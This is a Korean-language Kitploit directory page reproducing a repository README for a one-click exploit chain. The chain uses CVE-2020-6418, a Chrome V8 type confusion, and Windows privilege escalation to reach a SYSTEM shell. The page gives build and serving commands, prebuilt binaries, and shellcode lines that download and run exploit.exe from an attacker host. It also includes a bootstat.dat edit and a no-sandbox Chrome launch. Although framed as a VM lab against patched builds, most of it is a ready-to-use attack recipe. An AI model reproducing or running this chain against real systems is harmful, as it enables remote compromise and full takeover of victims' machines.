Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2020-6418 — CVE-2020-6418(Chrome RCE)을 Windows 권한 상승과 연결하여 SYSTEM 권한을 획득하는 단일 단계 익스플로잇 체인으로, 빌드 스크립트 및 사전 빌드된 바이너리를 포함합니다. | Kitploit
도구/GitHubGitHub/a-mansilla/cve-2020-6418
Privilege EscalationExploit FrameworksVulnerability AnalysisExploitationWeb Application ExploitationPayload DevelopmentBinary Exploitation
GitHuba-mansilla/cve-2020-6418

CVE-2020-6418

CVE-2020-6418(Chrome RCE)을 Windows 권한 상승과 연결하여 SYSTEM 권한을 획득하는 단일 단계 익스플로잇 체인으로, 빌드 스크립트 및 사전 빌드된 바이너리를 포함합니다.

저장소 보기
8일 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2020-6418: Windows 권한 상승과 연결된 Chrome RCE

이 리포지토리에는 CVE-2020-6418에 대한 동작하는 단일 단계 익스플로잇 체인이 포함되어 있습니다 (V8의 Turbofan 컴파일러의 타입 혼동 버그로, Google Chrome 80.0.3987.87 x64에 영향을 줍니다). 취약한 Chrome으로 악성 페이지를 방문하면 렌더러 프로세스 내에서 네이티브 코드 실행이 가능해집니다. 여기서 익스플로잇은 두 가지 버그를 연결하는 두 번째 바이너리를 다운로드해 실행합니다 (NtPowerInformation의 누락된 길이 검사와 ntfs.sys의 풀 오버플로우인 CVE-2021-31956). 이를 통해 권한 없는 프로세스에서 NT AUTHORITY\SYSTEM 권한까지 완전히 상승합니다.

이 모든 과정은 페이지를 한 번 방문하는 것만으로 실행되며, 브라우저 버그와 SYSTEM 셸 사이에 수동 단계가 없습니다.

Chrome 익스플로잇의 원래 크레딧은 Clement Lecigne(버그 발견, Google TAG)와 Istvan Kurucsai / Vignesh S Rao(원래 개념 증명, 이후 Metasploit 모듈로 배포됨)에게 있습니다. 우리는 Metasploit 의존성을 제거하고, 페이지에 페이로드를 포함하는 대신 네이티브 다운로더를 중심으로 전달 메커니즘을 재구축했습니다. 자세한 내용은 browser-exploit/README.md에 있습니다.

저장소 구조

root@kitploit:~
browser-exploit/        The Chrome exploit (the V8 bug + the native stub)
  exploit_template.html   HTML/JS source, with a placeholder for the stub
  build_exploit.py         generates exploit.html from the template
  shellcode/                the native code the exploit injects into Chrome
privilege-escalation/    The Windows EoP chain, a standalone C program
prebuilt/                Ready to use binaries (exploit.html and exploit.exe)
notes/                   An earlier approach we tried and abandoned, kept
                         as a record of what we learned along the way

필요한 것

공격자 머신("호스트"): Visual Studio 2019 또는 2022(모든 에디션, Community도 무방, 또는 Build Tools만 있어도 됨), NASM, Python 3이 설치된 최신 Windows가 필요합니다. 여기서 모든 것을 빌드하고 익스플로잇 페이지를 서빙합니다.

대상 머신("VM"): 정확히 일치해야 합니다. 익스플로잇은 이 특정 빌드에서만 유효한 하드코딩된 오프셋에 의존합니다.

  • Windows 10 20H1, 빌드 19041.264 x64. winver 또는 PowerShell에서 [System.Environment]::OSVersion으로 확인하세요.
  • Google Chrome 80.0.3987.87 x64 (이 버그는 80.0.3987.122에서 패치되었으므로 정확히 이 빌드이거나 그 이전의 취약한 빌드여야 합니다). chrome://version으로 확인하세요.
  • C:\lab8 폴더 (비어 있어도 됩니다. 존재하기만 하면 됩니다).

호스트 전용 네트워크 어댑터를 사용하는 VMware Workstation VM에서 테스트했지만, VM이 호스트에 HTTP로 접근할 수 있는 구성이라면 어떤 환경에서도 동일하게 작동합니다.

빠른 시작

1. 호스트에서 모든 것 빌드

root@kitploit:~
cd browser-exploit\shellcode
build.bat
cd ..
python build_exploit.py shellcode\download_and_run_stub.bin exploit.html

cd ..\privilege-escalation
build.bat

첫 빌드 전에 browser-exploit\shellcode\download_and_run_stub.asm을 열고 아래쪽에 있는 다음 두 줄을 편집하세요:

root@kitploit:~
download_url:       db "http://YOUR_HOST_IP:8000/exploit.exe", 0
destination_path:   db "C:\lab8\exploit.exe", 0

YOUR_HOST_IP는 VM에서 보이는 이 머신의 IP 주소입니다 (VM에서 ipconfig를 실행해 호스트 전용 또는 NAT 네트워크에 해당하는 네트워크 어댑터를 확인하거나, 호스트에서 ipconfig를 실행해 VM과 같은 서브넷에 있는 어댑터를 사용하면 됩니다). destination_path는 EoP 바이너리가 VM 내부에 놓이길 원하는 위치와 일치해야 하며, 기본값은 C:\lab8입니다.

편집 후 스텁을 다시 어셈블하고 exploit.html을 다시 생성하세요 (1단계의 두 명령을 실행하되, privilege-escalation 빌드는 IP에 의존하지 않으므로 건너뜁니다).

빠른 테스트를 위해 어셈블리 파일을 건드리고 싶지 않다면, prebuilt/에 자체 테스트 IP가 포함된 작동하는 복사본이 이미 있습니다. 네트워크가 우연히 일치할 때만 작동하므로, 자신만의 복사본을 빌드하는 것이 확실한 방법입니다.

2. 호스트에서 익스플로잇 서빙

exploit.html과 exploit.exe(privilege-escalation/에서 빌드한 것)를 같은 폴더에 넣은 다음:

root@kitploit:~
python -m http.server 8000

exploit.exe는 위의 download_url에 넣은 정확한 URL에서 접근 가능해야 합니다. 네이티브 스텁이 브라우저를 거치지 않고 직접 가져오기 때문입니다.

호스트 방화벽에 대한 간단한 참고 사항: VM이 포트 8000에 접근할 수 없다면, 거의 항상 Windows Defender 방화벽이 미분류 네트워크에서 인바운드 연결을 차단하거나 python.exe를 구체적으로 차단하는 잔여 규칙 때문입니다 (Windows는 앱이 신뢰할 수 없는 네트워크에서 연결을 수락하려고 할 때 자동으로 그런 규칙을 생성하는 경우가 있습니다). 이 문제가 발생하면 관리자 PowerShell에서 Get-NetFirewallRule -DisplayName "python.exe"를 확인하세요.

3. VM 설정

  • Windows 빌드와 Chrome 버전이 위의 요구 사항과 일치하는지 확인합니다.
  • C:\lab8이 아직 없으면 생성합니다 (비어 있어도 됩니다).
  • 실제 부팅 과정을 거친 적이 없는 베어(bare) VM이라면 C:\Windows\bootstat.dat가 없거나 비어 있을 수 있으며, 커널 버그가 이 파일이 유효한 내용으로 존재하기를 요구합니다. 필요한 경우:
root@kitploit:~
if (!(Test-Path C:\Windows\bootstat.dat)) {
    fsutil file createnew C:\Windows\bootstat.dat 2048
}
$bytes = [System.IO.File]::ReadAllBytes("C:\Windows\bootstat.dat")
$bytes[4] = 1
[System.IO.File]::WriteAllBytes("C:\Windows\bootstat.dat", $bytes)

4. 실행

--no-sandbox 플래그로 취약한 Chrome을 실행하고 (이 PoC에는 샌드박스 탈출이 포함되어 있지 않으므로, 렌더러가 파일 시스템에 접근하고 프로세스를 실행하려면 이미 샌드박스가 해제된 상태여야 합니다) 페이지를 가리키세요:

root@kitploit:~
chrome.exe --no-sandbox http://YOUR_HOST_IP:8000/exploit.html

DevTools(F12)를 열고 Console 탭을 확인하세요. 익스플로잇이 진행 상황을 여기에 기록합니다. 모든 것이 맞아떨어지면 타입 혼동이 성공하고, 스텁이 EoP 바이너리를 다운로드해 실행하며, 몇 초 후 NT AUTHORITY\SYSTEM 권한으로 실행되는 새 콘솔 창이 나타나는 것을 볼 수 있습니다.

문제가 발생하는 경우

  • 익스플로잇이 실행되지 않고 Chrome이 크래시되는 경우: 거의 항상 Chrome 빌드 불일치입니다. exploit_template.html의 오프셋(objleaker_offset, float_carw_elements_offset 등)은 80.0.3987.87 x64에 특화되어 있어, 패치 버전이 하나만 달라도 다른 빌드에서는 작동하지 않습니다.

  • EoP 바이너리가 콘솔은 열지만 SYSTEM 권한에 도달하지 못하는 경우: 같은 이유입니다. Windows 빌드가 정확히 19041.264인지 확인하세요. 커널 오프셋(DEFAULT_RVA_ANCHOR, DEFAULT_RVA_SEPSD, 그리고 privilege-escalation/exploit.c의 여러 EPROCESS/ETHREAD 오프셋)은 해당 빌드에 하드코딩되어 있습니다.

  • 다운로드 스텁이 아무것도 가져오지 않는 것 같음: download_and_run_stub.asm의 download_url이 호스트가 실제로 서빙 중인 주소와 포트와 일치하는지, 그리고 VM이 그 주소에 접근할 수 있는지 다시 확인하세요 (VM 내부에서 curl http://YOUR_HOST_IP:8000/exploit.exe를 실행해 보면 익스플로잇을 탓하기 전에 연결을 빠르게 확인할 수 있습니다).

각 구성 요소에 대한 자세한 내용(그렇게 빌드된 이유 포함)은 각 폴더의 README에 있습니다.

도구 다운로드